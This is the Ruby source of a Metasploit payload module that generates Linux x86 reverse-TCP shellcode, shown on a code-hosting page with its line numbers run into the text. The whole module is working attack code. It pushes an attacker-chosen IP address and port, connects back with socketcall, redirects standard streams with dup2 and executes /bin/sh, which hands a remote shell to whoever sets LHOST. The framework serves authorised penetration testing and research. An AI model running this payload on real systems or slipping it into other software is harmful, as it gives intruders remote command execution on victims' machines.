Path: blob/master/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 6878include Msf::Payload::Single9include Msf::Payload::Linux::X86::Prepends10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => ['Ramon de C Valle', 'joev'],19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix24)25)2627register_options([28OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ])29])30end3132def generate(_opts = {})33# pad the shell path to a multiple of 4 with slashes34shell = datastore['CMD']35remainder = shell.bytes.length % 436if remainder == 0 then remainder = 4 end37shell_padded = ('/' * (4 - remainder)) + shell3839"\x31\xdb" + # xor ebx,ebx40"\xf7\xe3" + # mul ebx41"\x53" + # push ebx42"\x43" + # inc ebx43"\x53" + # push ebx44"\x6a\x02" + # push byte +0x245"\x89\xe1" + # mov ecx,esp46"\xb0\x66" + # mov al,0x66 (sys_socketcall)47"\xcd\x80" + # int 0x8048"\x93" + # xchg eax,ebx49"\x59" + # pop ecx50"\xb0\x3f" + # mov al,0x3f (sys_dup2)51"\xcd\x80" + # int 0x8052"\x49" + # dec ecx53"\x79\xf9" + # jns 0x1154"\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr55"\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port56"\x89\xe1" + # mov ecx,esp57"\xb0\x66" + # mov al,0x66 (sys_socketcall)58"\x50" + # push eax59"\x51" + # push ecx60"\x53" + # push ebx61"\xb3\x03" + # mov bl,0x362"\x89\xe1" + # mov ecx,esp63"\xcd\x80" + # int 0x8064"\x52" + # push edx6566# Split shellname into 4-byte words and push them one-by-one67# on to the stack68shell_padded.bytes.reverse.each_slice(4).map do |word|69"\x68" + word.reverse.pack('C*')70end.join +71"\x89\xe3" + # mov ebx,esp72"\x52" + # push edx73"\x53" + # push ebx74"\x89\xe1" + # mov ecx,esp75"\xb0\x0b" + # mov al,0xb (execve)76"\xcd\x80" # int 0x8077end78end798081